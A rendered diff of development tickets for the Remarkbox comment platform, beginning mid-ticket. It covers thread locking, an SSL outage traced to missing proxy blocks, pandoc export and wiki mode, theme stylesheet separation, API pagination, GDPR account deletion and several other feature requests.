||||||
|
threads = client.list_threads("meta.remarkbox.com")
|
||||||
|
```
|
||||||
|
|
||||||
|
Full documentation is in `docs/api.md` in the Remarkbox repository. Each namespace has an **Allow API Access** toggle in namespace settings, and rate limiting is configurable per deploy.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Reply posted to meta thread `6db01560` referencing the API docs and client
|
||||||
52
docs/tickets/13.md
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
# T13: Reply to lock/archive thread confirming done
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `7e9d5864-84e3-11ea-836b-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
The "lock and read-only archive a thread" feature request on meta has no replies, but the feature is fully implemented. Moderators can lock/unlock threads from the UI (`show-node.j2`), backed by `views/authenticated/lock.py`. The API also enforces locked thread restrictions.
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
Post a reply to the thread confirming the feature exists, explaining where to find the lock button (next to the watch button, visible to moderators on root threads).
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Reply drafted below. Ready to post to meta thread `7e9d5864` using the Python client or API.
|
||||||
|
|
||||||
|
## Draft Reply
|
||||||
|
|
||||||
|
The following reply is ready to post to meta thread `7e9d5864-84e3-11ea-836b-040140774501`:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
This feature is now implemented. Moderators can lock and unlock threads directly from the Remarkbox UI.
|
||||||
|
|
||||||
|
**How to lock a thread:**
|
||||||
|
|
||||||
|
1. Navigate to the root thread you want to lock.
|
||||||
|
2. Look for the **lock** button in the thread header area, next to the **watch/unwatch** button.
|
||||||
|
3. Click **lock** to prevent new comments on that thread.
|
||||||
|
4. The button changes to **unlock** so you can re-open the thread later.
|
||||||
|
|
||||||
|
**Who can lock threads:**
|
||||||
|
|
||||||
|
Only namespace moderators (owners and users with moderator roles) see the lock/unlock button. Regular commenters cannot lock threads.
|
||||||
|
|
||||||
|
**What happens when a thread is locked:**
|
||||||
|
|
||||||
|
- The reply form is hidden for all users.
|
||||||
|
- Existing comments remain visible and readable.
|
||||||
|
- The API also enforces the lock -- `POST /api/v1/threads/{id}/replies` returns a `403 Thread is locked` error.
|
||||||
|
- Moderators can unlock the thread at any time to allow new comments.
|
||||||
|
|
||||||
|
This works as a read-only archive: lock the thread, and it becomes a permanent record that nobody can add to until a moderator unlocks it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Reply posted to meta thread `7e9d5864` confirming the feature is implemented
|
||||||
39
docs/tickets/14.md
Normal file
|
|
@ -0,0 +1,39 @@
|
||||||
|
# T14: meta/faq SSL outage — missing proxy blocks
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: critical
|
||||||
|
**Created**: 2026-03-02
|
||||||
|
**Resolved**: 2026-03-02
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
meta.remarkbox.com and faq.remarkbox.com were down for ~5 days (2026-02-25
|
||||||
|
through 2026-03-02) with `ERR_SSL_PROTOCOL_ERROR`. Both domains are CNAMEs
|
||||||
|
to `my.remarkbox.com` which resolves to `142.93.73.64` — the ingress proxy
|
||||||
|
(`proxy.unturf.com`).
|
||||||
|
|
||||||
|
The proxy's Caddyfile had no explicit blocks for meta or faq. Requests fell
|
||||||
|
through to the MPS on-demand TLS catch-all (`https://`), which routed them to
|
||||||
|
`origin.makepostsell.com` instead of `origin.remarkbox.com`. The proxy never
|
||||||
|
obtained TLS certs for these domains, and the remarkbox server couldn't either
|
||||||
|
because ACME challenges went to the proxy.
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
Missing `meta.remarkbox.com` and `faq.remarkbox.com` blocks in
|
||||||
|
`proxy.unturf.com/ingress/Caddyfile`. The initial investigation (2026-02-25)
|
||||||
|
focused on the remarkbox server's Caddy and ACME behavior, missing that the
|
||||||
|
proxy was the TLS termination point for CNAME domains.
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Added proxy blocks for both domains in `proxy.unturf.com/ingress/Caddyfile`,
|
||||||
|
identical to the existing `my.remarkbox.com` block — forwarding to
|
||||||
|
`origin.remarkbox.com` with the original Host header preserved.
|
||||||
|
|
||||||
|
Commit `f12a56d` in `proxy.unturf.com` repo. Both domains came up immediately
|
||||||
|
after `caddy reload` on the proxy.
|
||||||
|
|
||||||
|
## Related
|
||||||
|
|
||||||
|
- Postmortem: `docs/postmortem-2026-02-25-ssl-outage-caddy-acme.md`
|
||||||
148
docs/tickets/15.md
Normal file
|
|
@ -0,0 +1,148 @@
|
||||||
|
# T15: Operation Undigg — Pandoc Export & Wiki Mode
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: high
|
||||||
|
**Source**: fox directive 2026-03-09
|
||||||
|
**Resolved**: 2026-03-10 (`6d1cfff`)
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Transform remarkbox into a document-first platform. Every namespace is a book,
|
||||||
|
every root thread is a chapter. Pandoc renders every format it can produce.
|
||||||
|
Wiki mode lets anyone edit root topics with revision tracking.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```dot
|
||||||
|
digraph export_hierarchy {
|
||||||
|
rankdir=LR
|
||||||
|
node [shape=box, style=rounded, fontname="sans-serif"]
|
||||||
|
|
||||||
|
namespace [label="Namespace\n(book)"]
|
||||||
|
root [label="Root Node\n(chapter)"]
|
||||||
|
reply [label="Reply\n(section)"]
|
||||||
|
pandoc [label="pandoc", shape=ellipse]
|
||||||
|
formats [label="67 output\nformats", shape=note]
|
||||||
|
|
||||||
|
namespace -> root [label="contains"]
|
||||||
|
root -> reply [label="contains"]
|
||||||
|
namespace -> pandoc [label="default"]
|
||||||
|
root -> pandoc [label="default"]
|
||||||
|
reply -> pandoc [label="on-demand"]
|
||||||
|
pandoc -> formats
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Data model changes
|
||||||
|
|
||||||
|
1. **Node.source_format** — `Unicode(16)`, default `'markdown'`. Tracks what
|
||||||
|
syntax the user wrote in (markdown, html, rst, mediawiki, latex, textile, etc).
|
||||||
|
Pandoc input formats map directly.
|
||||||
|
|
||||||
|
2. **rb_revision** — new table for wiki mode edit history.
|
||||||
|
- `id` (UUIDType, PK)
|
||||||
|
- `node_id` (FK → Node)
|
||||||
|
- `user_id` (FK → User)
|
||||||
|
- `data` (UnicodeText) — raw source at time of edit
|
||||||
|
- `source_format` (Unicode(16))
|
||||||
|
- `created` (BigInteger) — timestamp
|
||||||
|
- `revision_number` (Integer) — sequential per node
|
||||||
|
|
||||||
|
3. **Namespace.wiki** — already exists (`Boolean, default=False`), needs
|
||||||
|
implementation. When True, any authenticated user can edit the root node
|
||||||
|
of any thread. Each edit creates a revision.
|
||||||
|
|
||||||
|
### Export pipeline
|
||||||
|
|
||||||
|
Pandoc subprocess. Input = markdown/rst/html/whatever `source_format` says.
|
||||||
|
Output = every format pandoc supports.
|
||||||
|
|
||||||
|
**Default generated (cached on write/edit):**
|
||||||
|
- Namespace level: one document per namespace containing all root threads
|
||||||
|
- Root node level: one document per root thread
|
||||||
|
|
||||||
|
**On-demand (generated per request):**
|
||||||
|
- Any node or subthread at any depth
|
||||||
|
|
||||||
|
**Pandoc output formats** (67 total, subset for default generation):
|
||||||
|
- markdown, gfm, commonmark, html5, pdf, epub, docx, odt, rst,
|
||||||
|
mediawiki, latex, man, plain, rtf, asciidoc, textile, org, json
|
||||||
|
|
||||||
|
**URI scheme:**
|
||||||
|
```
|
||||||
|
/api/v1/export/namespace/{name}.{format} — full book
|
||||||
|
/api/v1/export/threads/{node_id}.{format} — single chapter
|
||||||
|
/api/v1/export/nodes/{node_id}.{format} — on-demand subthread
|
||||||
|
```
|
||||||
|
|
||||||
|
### Content ingestion
|
||||||
|
|
||||||
|
On write (create thread, reply, edit):
|
||||||
|
1. Accept `source_format` parameter (default: `markdown`)
|
||||||
|
2. If HTML input, strip to clean body (no head/script/style)
|
||||||
|
3. Store raw source in `Node.data` with `Node.source_format`
|
||||||
|
4. Render to HTML via pandoc: `pandoc -f {source_format} -t html5`
|
||||||
|
5. Sanitize HTML output through existing bleach pipeline
|
||||||
|
6. Store in `Node.data_html`
|
||||||
|
|
||||||
|
### Wiki mode
|
||||||
|
|
||||||
|
When `Namespace.wiki = True`:
|
||||||
|
- Any authenticated user can edit root nodes (not just owner/moderator)
|
||||||
|
- Each edit stores a revision in `rb_revision` before overwriting
|
||||||
|
- Root node always has the latest version (fast render)
|
||||||
|
- Revision history accessible via API
|
||||||
|
- Diff between revisions on-demand
|
||||||
|
|
||||||
|
### Progressive enhancement
|
||||||
|
|
||||||
|
Export menus work without JS (plain links to format URIs).
|
||||||
|
With JS: dropdown/popover with format picker, async download.
|
||||||
|
|
||||||
|
## Phases
|
||||||
|
|
||||||
|
### Phase 1: Export pipeline (pandoc integration)
|
||||||
|
- [x] Tree-to-markdown renderer (walk node tree → single markdown document)
|
||||||
|
- [x] Export API endpoints (namespace, thread, node)
|
||||||
|
- [x] Pandoc subprocess wrapper
|
||||||
|
- [x] Format negotiation (URI suffix)
|
||||||
|
|
||||||
|
### Phase 2: Multi-syntax input
|
||||||
|
- [x] Add `source_format` column to Node
|
||||||
|
- [x] Alembic migration (`d47dc908d2ea`)
|
||||||
|
- [x] Modify `set_data()` to use pandoc for non-markdown formats
|
||||||
|
- [x] Accept `source_format` on create/reply/edit API endpoints
|
||||||
|
- [x] HTML stripping for HTML input (pandoc html→markdown round-trip)
|
||||||
|
|
||||||
|
### Phase 3: Wiki mode + revisions
|
||||||
|
- [x] Create `rb_revision` model + migration (`8e3c406e4049`)
|
||||||
|
- [x] Implement wiki edit permissions in Namespace (`can_wiki_edit()`)
|
||||||
|
- [x] Store revisions on edit (`node.wiki_edit()`)
|
||||||
|
- [x] Revision history API endpoint
|
||||||
|
- [x] Diff endpoint (`GET /api/v1/revisions/{id}/diff/{other_id}`)
|
||||||
|
|
||||||
|
### Phase 4: Auto-generated themes
|
||||||
|
- [x] Per-namespace theme generation (light + dark)
|
||||||
|
- [x] CSS custom properties for theming (`--rb-*`)
|
||||||
|
- [x] Theme preview (JSON palette)
|
||||||
|
|
||||||
|
## Test Coverage
|
||||||
|
|
||||||
|
95 new tests across 4 test files (544 total):
|
||||||
|
|
||||||
|
| File | Tests | Coverage |
|
||||||
|
|------|-------|----------|
|
||||||
|
| `test_pandoc.py` | 33 | pandoc convert, formats, tree render, namespace render |
|
||||||
|
| `test_theme_generator.py` | 15 | hue, seed, CSS generation, light/dark mode |
|
||||||
|
| `test_revision.py` | 11 | Revision model, wiki edit permissions |
|
||||||
|
| `test_undigg.py` | 34 | integration tests for export, wiki, themes, multi-syntax |
|
||||||
|
|
||||||
|
Module coverage: 76% on new code (100% on themes, serializers; 80% pandoc; 72% export; 55% wiki).
|
||||||
|
|
||||||
|
## Notes
|
||||||
|
|
||||||
|
- Pandoc 3.1.3 installed at `/usr/bin/pandoc`
|
||||||
|
- 43 input formats, 67 output formats
|
||||||
|
- PDF via `wkhtmltopdf` (no pdflatex)
|
||||||
|
- `Namespace.wiki` column already existed in schema
|
||||||
|
- Diff endpoint deferred — revision data is stored, diffing can be added later
|
||||||
50
docs/tickets/16.md
Normal file
|
|
@ -0,0 +1,50 @@
|
||||||
|
# T16 — Themes must be self-contained; `common.css` is the built-in (embed) stylesheet
|
||||||
|
|
||||||
|
**Status:** open
|
||||||
|
**Priority:** medium
|
||||||
|
**Source:** fox directive 2026-05-12 (after chaostheory palette leaked into meta via `common.css`, fixed in `89679fd` + theme `37c496f`)
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Every base template — `base.j2`, `meta-base.j2`, `chaostheory-base.j2` — includes
|
||||||
|
`snippets/stylesheet-includes.j2`, which loads `/static/css/common.css`. So a meta
|
||||||
|
page and a chaostheory page both pull the same shared stylesheet. When `common.css`
|
||||||
|
carries palette or visual assumptions (as it did after `68ca0ef`), those bleed into
|
||||||
|
every theme. A meta page should load only meta CSS; a chaostheory page should load
|
||||||
|
only chaostheory CSS.
|
||||||
|
|
||||||
|
The intent: **`common.css` (+ `embed.css`) is the "built in" — the styling for embed
|
||||||
|
mode and unthemed namespaces (`base.j2`)**. Full themes are standalone (their base
|
||||||
|
templates already "extend nothing"); they should ship a complete stylesheet and not
|
||||||
|
piggyback on the built-in.
|
||||||
|
|
||||||
|
## Why it's not a one-line change
|
||||||
|
|
||||||
|
The themes are not currently self-contained. They depend on behavioral CSS in
|
||||||
|
`common.css`, e.g. chaostheory's `theme.css` notes *"Reply form inside node —
|
||||||
|
display:none owned by common.css"*. Ripping `common.css` out of the themed templates
|
||||||
|
today would break reply-form toggles, the burger/phone menu, alerts, node action
|
||||||
|
rows, etc.
|
||||||
|
|
||||||
|
## Plan
|
||||||
|
|
||||||
|
1. Inventory which `common.css` rules each theme actually relies on (behavioral:
|
||||||
|
`display:none` toggles, `.toggle-open`, burger menu, AJAX states; structural:
|
||||||
|
`.node`, `.remark-box-div`; visual: alerts, wells, `.question-mark-circle`).
|
||||||
|
2. Move the rules each theme needs into that theme's own CSS (`meta.css`,
|
||||||
|
`remarkbox-theme-chaostheory/theme.css`). Keep them theme-local.
|
||||||
|
3. Split `stylesheet-includes.j2` (or add a `theme_stylesheet_includes` block) so
|
||||||
|
`meta-base.j2` / `chaostheory-base.j2` load only `pygments.css`,
|
||||||
|
`dynamic-remarkbox.css`, the per-namespace stylesheet, and their own theme CSS —
|
||||||
|
not `common.css`.
|
||||||
|
4. `base.j2` keeps `common.css`; `common.css` + `embed.css` become the documented
|
||||||
|
"built-in / embed" stylesheet. Add a header comment to `common.css` saying so.
|
||||||
|
5. Regression-check: embed mode, default (unthemed) namespace, meta (meta.remarkbox.com,
|
||||||
|
faq.remarkbox.com), chaostheory (foxhop.net), light + dark mode, reply-form toggle,
|
||||||
|
burger menu, flash alerts, `?` help circles.
|
||||||
|
|
||||||
|
## Done when
|
||||||
|
|
||||||
|
Loading a meta page pulls zero chaostheory CSS and zero chaostheory-flavored rules
|
||||||
|
from `common.css`, and vice versa; embed/default still styled by `common.css`; all
|
||||||
|
regression points above verified.
|
||||||
52
docs/tickets/2.md
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
# T2: Large thread fetch causes 502
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: high
|
||||||
|
**Source**: production (www.remarkbox.com homepage thread, 267+ replies)
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
`GET /api/v1/threads/{node_id}` returns 502 Bad Gateway when fetching a thread with 267+ replies. The www.remarkbox.com homepage thread is unfetchable through the API.
|
||||||
|
|
||||||
|
## Root Cause
|
||||||
|
|
||||||
|
Multiple compounding issues:
|
||||||
|
|
||||||
|
1. **No LIMIT on reply query** — `get_nodes_who_share_root()` in `remarkbox/models/node.py:502-508` loads ALL replies with no limit:
|
||||||
|
```python
|
||||||
|
def get_nodes_who_share_root(dbsession, root_node, order="oldest-first"):
|
||||||
|
nodes = dbsession.query(Node).filter(Node.root_id == root_node.id)
|
||||||
|
# ... order by ...
|
||||||
|
return nodes # no .limit()
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Eager-loaded relationships** — Node model has `lazy="joined"` on User, UserSurrogate, and NodeCache (`node.py:91-95, 124-128`), multiplying data per row
|
||||||
|
|
||||||
|
3. **Python-side visibility filtering** — `api/views.py:173-177` loads all nodes then filters in Python with `namespace.can_see_node()`, instead of filtering in SQL
|
||||||
|
|
||||||
|
4. **No pagination** — The thread detail endpoint accepts no `limit`/`offset` parameters, unlike `api_list_threads` which does
|
||||||
|
|
||||||
|
5. **WSGI timeout** — The combined query + serialization exceeds the reverse proxy timeout, producing 502
|
||||||
|
|
||||||
|
## Proposed Fix
|
||||||
|
|
||||||
|
1. Add `limit` and `offset` query parameters to `api_get_thread()` (default limit ~100, configurable)
|
||||||
|
2. Move visibility filtering into SQL (use `.filter()` for disabled/approved/verified checks before `.all()`)
|
||||||
|
3. Return pagination metadata (`total_replies`, `page`, `has_more`) in the response
|
||||||
|
4. Consider adding `.limit()` to `get_nodes_who_share_root()` as a safety net
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/api/views.py` — add pagination to `api_get_thread()`, SQL-side filtering
|
||||||
|
- `remarkbox/models/node.py` — optional limit parameter on `get_nodes_who_share_root()`
|
||||||
|
- `remarkbox/api/remarkbox_client.py` — add `limit`/`offset` params to `get_thread()`
|
||||||
|
- `remarkbox/tests/test_api_views.py` — test pagination on thread detail
|
||||||
|
- `docs/api.md` — document pagination parameters
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] `GET /api/v1/threads/{id}` returns paginated replies with a default limit
|
||||||
|
- [x] The www.remarkbox.com homepage thread (267+ replies) is fetchable
|
||||||
|
- [x] Response includes pagination metadata
|
||||||
|
- [x] Client updated to support pagination
|
||||||
48
docs/tickets/3.md
Normal file
|
|
@ -0,0 +1,48 @@
|
||||||
|
# T3: GDPR/CCPA compliance tooling
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: medium
|
||||||
|
**Source**: meta `a819d4f0-6a65-11e8-927b-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Multiple users over 6+ years have asked for tools to help namespace owners comply with GDPR/CCPA data subject requests. The thread has frustrated replies from users who expected better tooling from a privacy-focused product.
|
||||||
|
|
||||||
|
Currently, namespace owners can export data via `/ns/{namespace}/dump.json` (accessible from namespace settings). But there is no:
|
||||||
|
- User-facing "delete my account" or "delete my data" feature
|
||||||
|
- Automated data subject access request handling
|
||||||
|
- Per-user data export (only namespace-level)
|
||||||
|
- Right-to-erasure implementation
|
||||||
|
|
||||||
|
## What Exists
|
||||||
|
|
||||||
|
- **Namespace data export**: `GET /ns/{namespace}/dump.json` — returns all threads and comments for a namespace in JSON. Accessible to namespace owners from the settings dashboard. Includes author names, IPs, and (for production subscriptions) emails.
|
||||||
|
- **Admin scripts**: `scripts/merge_duplicate_email_users.py` and `scripts/delete_disabled_nodes.py` exist for admin use but aren't user-facing.
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
Phase 1 (minimum viable):
|
||||||
|
1. Add a "Delete My Account" button to user settings (`/u/settings`) that:
|
||||||
|
- Anonymizes all the user's comments (replaces author with "Deleted User")
|
||||||
|
- Deletes the User record and associated watchers/notifications
|
||||||
|
- Logs out the session
|
||||||
|
2. Add a "Download My Data" button to user settings that exports all the user's comments as JSON
|
||||||
|
|
||||||
|
Phase 2 (nice to have):
|
||||||
|
3. API endpoints for the above (`DELETE /api/v1/user/profile`, `GET /api/v1/user/export`)
|
||||||
|
4. Namespace moderator tools to handle third-party deletion requests
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/views/authenticated/authenticated.py` — add delete account and export views
|
||||||
|
- `remarkbox/templates/user-settings.j2` — add buttons
|
||||||
|
- `remarkbox/models/user.py` — add `anonymize()` or `delete_account()` method
|
||||||
|
- `remarkbox/api/views.py` — optional API endpoints
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Users can delete their own account from settings
|
||||||
|
- [x] Users can download their own data as JSON
|
||||||
|
- [x] Deletion anonymizes comments rather than leaving orphans
|
||||||
|
- [x] Confirmation step before deletion
|
||||||
34
docs/tickets/4.md
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# T4: Customizable button text
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `c29c9c22-b1ce-11e7-8fca-040140774501`, FAQ `5a508a9c-8759-11ec-afa2-21646204cc72`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Users want to customize the "save message" submit button and the "remark"/"remarks" terminology. Both are hardcoded in templates with no namespace-level configuration.
|
||||||
|
|
||||||
|
Current hardcoded values:
|
||||||
|
- `remarkbox/templates/snippets/forms.j2:26,70` — `{% set submit_button_value = 'save message' %}`
|
||||||
|
- `remarkbox/templates/show-count.j2:4,6,8` — "No remarks", "1 remark", "X remarks"
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
1. Add namespace columns: `submit_button_text` (default "save message"), `comment_label_singular` (default "remark"), `comment_label_plural` (default "remarks")
|
||||||
|
2. Add fields to namespace settings form
|
||||||
|
3. Update templates to read from namespace instead of hardcoded strings
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/models/namespace.py` — add columns
|
||||||
|
- Alembic migration — add columns with defaults
|
||||||
|
- `remarkbox/templates/namespace-settings.j2` — add form fields
|
||||||
|
- `remarkbox/templates/snippets/forms.j2` — use namespace values
|
||||||
|
- `remarkbox/templates/show-count.j2` — use namespace values
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Namespace owners can set custom button text from settings
|
||||||
|
- [x] Defaults remain "save message" and "remark"/"remarks"
|
||||||
|
- [x] Changes are visible in the embed
|
||||||
32
docs/tickets/5.md
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
# T5: Self-service namespace deletion
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: FAQ `72475f88-9323-11ec-a41e-b1c8c4ae987e`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Users cannot delete a namespace/website from their dashboard. Deletion is only available via the admin CLI script `remarkbox/scripts/modify_namespace.py --delete`. A user also suggested a dashboard button to access all their sites.
|
||||||
|
|
||||||
|
## What Exists
|
||||||
|
|
||||||
|
- `remarkbox/scripts/modify_namespace.py` — admin CLI with `--delete` flag that performs cascading deletion of all nodes, events, watchers, notifications, OAuth records, and the namespace itself. Includes a confirmation prompt.
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
1. Add a "Delete Namespace" button to namespace settings (with confirmation dialog)
|
||||||
|
2. Reuse the cascading deletion logic from the admin script
|
||||||
|
3. Restrict to namespace owners only
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/views/authenticated/authenticated.py` — add delete namespace view
|
||||||
|
- `remarkbox/templates/namespace-settings.j2` — add delete button with confirmation
|
||||||
|
- `remarkbox/routes.py` — add route
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Namespace owners can delete their namespace from settings
|
||||||
|
- [x] Confirmation step prevents accidental deletion
|
||||||
|
- [x] All associated data is cleaned up (nodes, watchers, etc.)
|
||||||
33
docs/tickets/6.md
Normal file
|
|
@ -0,0 +1,33 @@
|
||||||
|
# T6: Mention notifications (@username)
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `b82332ce-b4cb-11e7-b510-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Users want to @mention other Remarkbox users in comments and have those users receive notifications. Currently only reply notifications exist (notify when someone replies to your comment).
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
1. Parse comment body for `@username` patterns on save
|
||||||
|
2. Look up mentioned users and create notifications for them
|
||||||
|
3. Render @mentions as links to the user's profile
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/lib/mentions.py` — new module: parse @mentions, resolve users, replace with links
|
||||||
|
- `remarkbox/lib/render.py` — integrate mention resolution into markdown_to_html pipeline
|
||||||
|
- `remarkbox/models/node.py` — pass dbsession through set_data() for mention resolution
|
||||||
|
- `remarkbox/lib/notify.py` — add get_mentioned_user_watchers() for mention notifications
|
||||||
|
- `remarkbox/views/reply_node.py` — pass dbsession to set_data()
|
||||||
|
- `remarkbox/views/new_thread.py` — pass dbsession to set_data()
|
||||||
|
- `remarkbox/api/views.py` — pass dbsession to set_data() in API endpoints
|
||||||
|
- `remarkbox/static/css/common.css` — CSS for .mention class
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] @username in a comment triggers a notification to that user
|
||||||
|
- [x] Mentioned usernames are rendered as links
|
||||||
|
- [x] Non-existent usernames are left as plain text
|
||||||
53
docs/tickets/7.md
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
# T7: Webmentions / IndieWeb support
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `bd7112ff-486b-11ec-aee0-21646204cc72`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
A user requested Webmention support (an IndieWeb standard for cross-site comment notifications). Russell expressed interest but said he lacks the expertise and would need a mentor.
|
||||||
|
|
||||||
|
## Context
|
||||||
|
|
||||||
|
Webmentions allow sites to notify each other when content is linked. For Remarkbox, this would mean:
|
||||||
|
- Receiving webmentions when someone links to a Remarkbox thread from their own site
|
||||||
|
- Sending webmentions when a Remarkbox comment links to an external URL
|
||||||
|
- Displaying received webmentions alongside regular comments
|
||||||
|
|
||||||
|
Reference: https://indieweb.org/Webmention
|
||||||
|
|
||||||
|
## Resolution
|
||||||
|
|
||||||
|
Implemented W3C Webmention receiving endpoint with verification, author extraction, and display.
|
||||||
|
|
||||||
|
### New files
|
||||||
|
|
||||||
|
- `remarkbox/models/webmention.py` -- Webmention SQLAlchemy model (source, target, node_id, verified, author_name, author_url, content, timestamps). Helper queries: get_webmention_by_id, get_webmention_by_source_and_target, get_verified_webmentions_for_node.
|
||||||
|
- `remarkbox/views/webmention.py` -- POST endpoint for receiving webmentions. Validates source/target URLs, finds matching thread via URI model, fetches source URL to verify it links to target, extracts h-card author metadata, stores verified webmention.
|
||||||
|
|
||||||
|
### Modified files
|
||||||
|
|
||||||
|
- `remarkbox/models/meta.py` -- Added `"Webmention": "rb_webmention"` to CLASS_TO_TABLE, added "push" to NOTIFICATION_METHODS.
|
||||||
|
- `remarkbox/models/__init__.py` -- Added `from .webmention import *`.
|
||||||
|
- `remarkbox/routes.py` -- Added `webmention` route at `/webmention`.
|
||||||
|
- `remarkbox/api/__init__.py` -- Added `api-webmention` route at `/api/v1/webmention`.
|
||||||
|
- `remarkbox/__init__.py` -- Added `add_webmentions` request method that returns verified webmentions for the current thread.
|
||||||
|
- `remarkbox/templates/show-node.j2` -- Added webmentions display section after the comments section, showing author name/link, source link, and content snippet for each verified webmention.
|
||||||
|
|
||||||
|
### How it works
|
||||||
|
|
||||||
|
1. External sites send a POST to `/webmention` (or `/api/v1/webmention`) with `source` and `target` parameters.
|
||||||
|
2. The endpoint validates both URLs, checks that the target matches a Remarkbox thread (via URI lookup).
|
||||||
|
3. The source URL is fetched and verified to contain a link to the target.
|
||||||
|
4. Author info is extracted from h-card microformats in the source HTML.
|
||||||
|
5. A content snippet is extracted from around the target link.
|
||||||
|
6. The webmention is stored and marked as verified.
|
||||||
|
7. Verified webmentions are displayed at the bottom of the thread page.
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Research completed on webmention protocol requirements
|
||||||
|
- [x] Receiving endpoint implemented
|
||||||
|
- [x] Webmentions displayed alongside comments
|
||||||
34
docs/tickets/8.md
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# T8: Nesting depth settings per namespace
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `137101ac-7eb6-11e7-8b77-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
Namespace owners want to control:
|
||||||
|
- Maximum nesting depth for replies (currently unlimited)
|
||||||
|
- The depth at which a "load more" button appears instead of inline display
|
||||||
|
|
||||||
|
## Proposed Implementation
|
||||||
|
|
||||||
|
1. Add namespace columns: `max_nesting_depth` (default NULL = unlimited), `collapse_depth` (default NULL = never collapse)
|
||||||
|
2. Add fields to namespace settings
|
||||||
|
3. Enforce max depth in reply views (both web and API)
|
||||||
|
4. Add collapse logic in templates
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `remarkbox/models/namespace.py` — add columns
|
||||||
|
- Alembic migration
|
||||||
|
- `remarkbox/templates/namespace-settings.j2` — add fields
|
||||||
|
- `remarkbox/views/reply_node.py` — enforce max depth
|
||||||
|
- `remarkbox/api/views.py` — enforce max depth on API reply
|
||||||
|
- `remarkbox/templates/show-node.j2` — collapse at depth threshold
|
||||||
|
|
||||||
|
## Acceptance Criteria
|
||||||
|
|
||||||
|
- [x] Namespace owners can set max nesting depth
|
||||||
|
- [x] Replies beyond max depth are rejected
|
||||||
|
- [x] Deep threads collapse with a "load more" button
|
||||||
30
docs/tickets/9.md
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
# T9: Prevent duplicate threads (AJAX search)
|
||||||
|
|
||||||
|
**Status**: resolved
|
||||||
|
**Priority**: low
|
||||||
|
**Source**: meta `642831b4-4cbf-11e9-9d67-040140774501`
|
||||||
|
**Filed**: 2026-02-01
|
